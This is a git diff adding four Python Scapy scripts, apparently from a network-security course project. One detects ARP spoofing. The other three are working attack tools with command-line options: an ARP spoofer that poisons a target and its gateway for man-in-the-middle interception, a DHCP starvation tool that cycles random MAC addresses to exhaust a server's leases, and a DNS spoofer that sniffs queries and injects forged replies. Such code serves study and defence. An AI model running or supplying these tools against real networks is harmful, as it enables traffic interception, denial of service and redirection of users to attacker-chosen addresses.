diff --git a/Arp-Spoofing-Detection/DetectArpSpoofing.py b/Arp-Spoofing-Detection/DetectArpSpoofing.py
new file mode 100644
index 0000000..22d1032
--- /dev/null
+++ b/Arp-Spoofing-Detection/DetectArpSpoofing.py
@@ -0,0 +1,87 @@
+
+
+from scapy.all import *
+from getmac import get_mac_address
+from scapy.layers.l2 import ARP, Ether
+import os
+from collections import Counter
+import easygui
+import subprocess
+
+
+def print_message(message):
+    #subprocess.run(["/usr/bin/notify-send", "--icon=error", message])
+    easygui.msgbox(message, title="Warning")
+
+
+a = []
+b = []
+c = []
+d = []
+count = 0
+attacker_ip = ""
+real_mac = ""
+flag = False
+
+
+os.system("arp -a> f1")
+with open("f1", "r") as f:
+    for line in f:
+        a.append(line.split()[1][1:-1])
+        b.append(line.split()[3])
+
+if len(set(b)) != len(b):
+    count += 1
+    print("test_1: ")
+    print(set(b))
+    print(b)
+
+pkt_sniff = sniff(filter="arp", timeout=10)
+for pkt in pkt_sniff:
+    if pkt[ARP].op == 2: # and pkt[Ether].dst == get_mac_address():
+        c.append(pkt[ARP].psrc)
+        d.append(pkt[Ether].src)
+if len(pkt_sniff) * 0.7 <= len(c):
+    count += 1
+    print("test_2: ")
+    print(list(zip(c,d)))
+
+if len(c) !=0:
+    if Counter(c).most_common(1)[0][1] > 3:
+        attacker_ip = Counter(c).most_common(1)[0][0]
+        count += 1
+        print("test_3 ")
+
+if len(set(zip(c, d))) != len(dict(set(zip(c, d)))):
+    count += 1
+    print("test_4: ")
+    print(set(zip(c,d)))
+    print(dict(set(zip(c,d))))
+    real_mac = get_mac_address(ip=attacker_ip)
+    print("test_4_1: "+attacker_ip + " : " + real_mac)
+
+for add in zip(a, b):  # check this special
+    if get_mac_address(ip=add[0]) != add[1]:
+        if add[1]!="<incomplete>":
+            attacker_ip = add[0]
+            real_mac = get_mac_address(ip=add[0])
+            print("test_5: "+attacker_ip + " : " + real_mac+ ", not-real: "+add[1])
+            flag = True
+
+if flag:
+    count += 1
+
+print(count)
+if count < 2:
+    print_message("Don't worry everything is ok")
+
+elif count == 2 or count == 3:
+    print_message("Your computer may be at risk")
+
+else:
+    print_message("Beware! You are under attack")
+    os.system("arp -s " + attacker_ip + " " + real_mac)
+    print_message("The threat has been eliminated, You are safe now")
+
+
+# os.system("arp -s " + attacker_ip + " " + real_mac)
\ No newline at end of file
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diff --git a/ArpSpoofer.py b/ArpSpoofer.py
new file mode 100644
index 0000000..c522479
--- /dev/null
+++ b/ArpSpoofer.py
@@ -0,0 +1,60 @@
+import argparse
+from scapy.all import *
+from getmac import get_mac_address
+from scapy.layers.l2 import ARP, Ether
+import time
+import netifaces
+import os
+
+# construct the argument parse and parse the arguments
+
+
+ap = argparse.ArgumentParser()
+ap.add_argument("-i", "--iface", required=False,
+                help="Interface you wish to use")
+ap.add_argument("-s", "--src", required=True,
+                help="The address you want for the attacker")
+ap.add_argument("-d", "--delay", required=False, default=1,
+                help="Delay (in seconds) between messages")
+ap.add_argument("-gw", required=False, default=True,
+                help="Should GW be attacked as well")
+ap.add_argument("-t", "--target", required=True,
+                help="Ip of target")
+args = vars(ap.parse_args())
+
+
+# ip_getway = str(netifaces.gateways()['default'][netifaces.AF_INET][0])  # gateway ip
+
+
+def enable_ip_forward():
+    os.system("echo '1' > /proc/sys/net/ipv4/ip_forward")
+
+
+def disable_ip_forward():
+    os.system("echo '0' > /proc/sys/net/ipv4/ip_forward")
+
+
+def send_fix_message():
+    sendp(Ether(dst=get_mac_address(ip=args["target"])) / ARP(pdst=args["target"], psrc=args["src"], hwsrc=get_mac_address(ip=args["src"]), op=2), iface=args["iface"])
+    if args["gw"]:  # the Gateway_been_Attacked
+        sendp(Ether(dst=get_mac_address(ip=args["src"])) / ARP(pdst=args["src"], psrc=args["target"],
+                                                               hwsrc=get_mac_address(ip=args["target"]), op=2),
+              iface=args["iface"])
+
+
+enable_ip_forward()
+while True:
+    try:
+        sendp(Ether(dst=get_mac_address(ip=args["target"])) / ARP(pdst=args["target"], psrc=args["src"], op=2),
+              iface=args["iface"])
+
+        if args["gw"]:  # the Gateway_been_Attacked
+            sendp(Ether(dst=get_mac_address(ip=args["src"])) / ARP(pdst=args["src"], psrc=args["target"], op=2),
+                  iface=args["iface"])
+
+        time.sleep(args["delay"])
+
+    except KeyboardInterrupt:
+        disable_ip_forward()
+        send_fix_message()
+        break
diff --git a/DHCP_Starvation.py b/DHCP_Starvation.py
new file mode 100644
index 0000000..31b6421
--- /dev/null
+++ b/DHCP_Starvation.py
@@ -0,0 +1,219 @@
+import argparse
+import subprocess
+import threading
+
+from getmac import get_mac_address
+from scapy import *
+from scapy.all import *
+from scapy.arch import get_if_raw_hwaddr
+from scapy.layers.dhcp import BOOTP, DHCP
+from scapy.layers.inet import IP, UDP
+from scapy.layers.l2 import Ether
+from scapy.sendrecv import srp, srp1, sr, sendp
+from scapy.volatile import RandInt
+
+from datetime import datetime, timedelta
+
+ap = argparse.ArgumentParser()
+ap.add_argument("-i", "--iface", required=False, default="eth0", type=str,
+                help="Interface you wish to use")
+ap.add_argument("-p", "--persist", required=False, default=False, type=bool,
+                help="persistent?")
+ap.add_argument("-t", "--target", required=False, default='255.255.255.255', type=str,
+                help="Ip of target server")
+args = vars(ap.parse_args())
+
+dhcp_got_ip = []
+dhcp_renew_ip = []
+conf.checkIPaddr = False
+
+
+def tempmac(mac):
+    return mac.replace(':', '').decode('hex')
+
+
+def changeMac():
+    subprocess.check_output(
+        "ifconfig %(iface)s down; macchanger -r %(iface)s; ifconfig %(iface)s up" % {"iface": args["iface"]},
+        stderr=subprocess.STDOUT, shell=True)
+
+
+def tempmac_to_mac(teMac):
+    temp = teMac.encode("hex")[:12]
+    return ':'.join([temp[i:i + 2] for i in range(0, len(temp), 2)])
+
+    # parts = [my_string[i:i + 2] for i in range(0, len(my_string), size)]
+    # print('-'.join(parts))  # + '-')
+
+
+def get_option(dhcp_options, key):
+    must_decode = ['hostname', 'domain', 'vendor_class_id']
+    try:
+        for i in dhcp_options:
+            if i[0] == key:
+                # If DHCP Server Returned multiple name servers
+                # return all as comma seperated string.
+                if key == 'name_server' and len(i) > 2:
+                    return ",".join(i[1:])
+                # domain and hostname are binary strings,
+                # decode to unicode string before returning
+                elif key in must_decode:
+                    return i[1].decode()
+                else:
+                    return i[1]
+    except:
+        pass
+
+
+# function for the Bonus:
+
+# format of hours
+def date_to_str(date):
+    return '{:%H:%M:%S}'.format(date)
+
+
+# calculate lease time hour
+def str_first_hour(tup):
+    return date_to_str(tup[0] + tup[1])
+
+
+# keep information of ip and mac in tuple
+def pkt_to_tup(pkt):
+    # the right one:
+    print(tempmac_to_mac(pkt[BOOTP].chaddr))
+    return (
+        datetime.now(), timedelta(seconds=get_option(pkt[DHCP].options, 'renewal_time')),
+        tempmac_to_mac(pkt[BOOTP].chaddr),
+        pkt[BOOTP].yiaddr,
+        pkt[BOOTP].siaddr, pkt[Ether].src)
+
+    # ether -not good
+    # return (datetime.now(), timedelta(seconds=60), tempmac_to_mac(pkt[BOOTP].chaddr),
+    #         pkt[BOOTP].yiaddr,
+    #         pkt[BOOTP].siaddr, pkt[Ether].src)
+
+
+# thread 1-->check when to send request again
+def thread_movedTo_renew_ip():
+    print("thread 1")
+    global stop_threads
+    while True:
+        while dhcp_got_ip:  # list of ip in use not empty
+            while (dhcp_got_ip and (str_first_hour(dhcp_got_ip[0]) == date_to_str(datetime.now()))) or (dhcp_got_ip and (
+                    str_first_hour(dhcp_got_ip[0]) < date_to_str(datetime.now()))):
+                dhcp_renew_ip.append(dhcp_got_ip.pop())
+                print(" theard 1-- tup moved to dhcp_renew_ip:")
+                print(dhcp_renew_ip)
+                if not dhcp_got_ip:
+                    pass
+            if stop_threads:
+                break
+        time.sleep(1)
+        if stop_threads:
+            print("thread 1 stoped")
+            break
+
+
+# send request
+def thread_renew_ip():
+    print("thread 2")
+    global stop_threads
+    try:
+        while True:
+            while dhcp_renew_ip:  # list of renew ip not empty
+                print("thread 2-> try to send")
+                request_1 = Ether(dst=dhcp_renew_ip[0][5], src=dhcp_renew_ip[0][2], type=0x0800) / IP(
+                    src=dhcp_renew_ip[0][3],dst=dhcp_renew_ip[0][4]) / UDP(dport=67, sport=68) / BOOTP(op=1, chaddr=tempmac(dhcp_renew_ip[0][2]),xid=RandInt(),
+                    ciaddr=dhcp_renew_ip[0][3]) / DHCP(options=[('message-type', 'request'), ('client_id', dhcp_renew_ip[0][2]), ('end')])
+
+
+                ack_1 = srp1(request_1, iface=args["iface"], store_unanswered=False, timeout=8)
+                # inter=0.5, retry=-2, timeout=1 #loop
+                #
+                print("thread 2-> check ack_")
+
+                if ack_1 and ack_1[DHCP].options[0][1] == 5:  # if ack
+                    dhcp_renew_ip.pop()  # out of the list
+                    dhcp_got_ip.append(pkt_to_tup(ack_1))  # keep the updated pkt
+                    dhcp_got_ip.sort(key=lambda tup_2: tup_2[0] + tup_2[1])  # sort again
+                    print("new ack -- thread2")
+                    print(dhcp_got_ip)
+
+                if stop_threads:
+                    break
+            if stop_threads:
+                break
+            time.sleep(1)
+    except:
+        stop_threads = True
+        print("thread 2 stoped")
+
+
+# release ip's
+def release_packets(tup):
+    print(tup)
+    sendp(Ether(src=tup[2], dst="ff:ff:ff:ff:ff:ff") / IP(src=tup[3], dst="255.255.255.255") /
+          UDP(sport=68, dport=67) /
+          BOOTP(chaddr=tempmac(tup[2]), ciaddr=tup[3], xid=RandInt()) /
+          DHCP(options=[("message-type", "release"), ("server_id", tup[4]), 'end']))
+    print("released packet")
+
+
+if args["persist"]:
+    thread1 = threading.Thread(target=thread_movedTo_renew_ip)
+    thread2 = threading.Thread(target=thread_renew_ip)
+    stop_threads = False
+    thread1.start()
+    thread2.start()
+
+#x = 0
+while True:
+    try:
+        while True:
+        #if x < 2:
+            changeMac()
+            mac = get_mac_address()
+            targetMac = get_mac_address(ip=args["target"])
+            #
+            discover = Ether(dst=targetMac, src=mac, type=0x0800) / IP(src='0.0.0.0', dst=args["target"]) / UDP(
+                dport=67, sport=68) / BOOTP(op=1, chaddr=tempmac(mac), xid=RandInt()) / DHCP(
+                options=[('message-type', 'discover'), ('end')])  #
+
+            offer = srp1(discover, iface=args["iface"], store_unanswered=False)  # , timeout=10)
+
+            request = Ether(dst=get_mac_address(ip=args["target"]), src=mac, type=0x0800) / IP(src='0.0.0.0',
+                                                                                               dst=args[
+                                                                                                   "target"]) / UDP(
+                dport=67, sport=68) / BOOTP(op=1, chaddr=tempmac(mac), xid=offer[BOOTP].xid) / DHCP(
+                options=[('message-type', 'request'), ('client_id', mac), ("requested_addr", offer[BOOTP].yiaddr),
+                         ("server_id", offer[BOOTP].siaddr),
+                         ('end')])
+
+            ack = srp1(request, iface=args["iface"], store_unanswered=False, timeout=8)
+
+            # print("/n num: " + str(x))
+            print(ack[DHCP].options[0][1])
+            print(ack[BOOTP].yiaddr)
+            #x += 1
+
+            if args["persist"]:
+                if ack and ack[DHCP].options[0][1] == 5:
+                    dhcp_got_ip.append(pkt_to_tup(ack))
+                    dhcp_got_ip.sort(key=lambda tup_1: tup_1[0] + tup_1[1])
+                    print(dhcp_got_ip)
+
+    except:
+        stop_threads = True
+        break
+
+if args["persist"]:
+    # stop_threads = True
+    thread1.join()
+    thread2.join()
+    print("stoped threads")
+
+    # release all  ip's:
+    for tup in dhcp_got_ip:
+        release_packets(tup)
+    for tup in dhcp_renew_ip:
+        release_packets(tup)
diff --git a/DNS Attack.py b/DNS Attack.py
new file mode 100644
index 0000000..5097f46
--- /dev/null
+++ b/DNS Attack.py	
@@ -0,0 +1,54 @@
+import argparse
+
+from scapy.layers.dns import DNS, DNSRR, DNSQR
+from scapy.layers.inet import IP, UDP
+from scapy.sendrecv import sniff, send, sr, AsyncSniffer
+
+
+ap = argparse.ArgumentParser()
+ap.add_argument("-i", "--iface", required=False, default="eth0", type=str,
+                help="Interface you wish to use")
+
+ap.add_argument("-t", "--target", required=False, default='192.168.43.154', type=str,
+                help="Ip of target server")
+args = vars(ap.parse_args())
+
+
+def send_False_Packet(pkt):
+    if pkt[IP].src == args["target"] and pkt[DNS].qr == 0:
+        demo_ans = IP(src=pkt[IP].dst, dst=pkt[IP].src) / UDP(sport=53, dport=pkt[UDP].sport) / DNS(id=pkt[DNS].id,
+                                                                                                    qr=1, qdcount=1,
+                                                                                                    ancount=3,
+                                                                                                    qd=DNSQR(qname=pkt[
+                                                                                                        DNSQR].qname),
+                                                                                                    an=DNSRR(
+                                                                                                        rrname=pkt[
+                                                                                                            DNSQR].qname,
+                                                                                                        type="A",
+                                                                                                        ttl=24,
+                                                                                                        rdata='1.2.3.4')/DNSRR(
+                                                                                                        rrname=pkt[
+                                                                                                            DNSQR].qname,
+                                                                                                        type="CNAME",
+                                                                                                        ttl=24,
+                                                                                                        rdata="false_address.com")/DNSRR(
+                                                                                                        rrname=pkt[
+                                                                                                            DNSQR].qname,
+                                                                                                        type="NS",
+                                                                                                        ttl=24,
+                                                                                                        rdata="kali.false.local"))
+        send(demo_ans)
+        print("sent packet")
+        demo_ans.show()
+
+
+
+try:
+    print("sniffer Started")
+    sniffer = sniff(iface=args["iface"], prn=send_False_Packet, filter="port 53", store=False)
+    # sniffer.start()
+
+
+except:
+    sniffer.stop()
+    print("Bye Bye")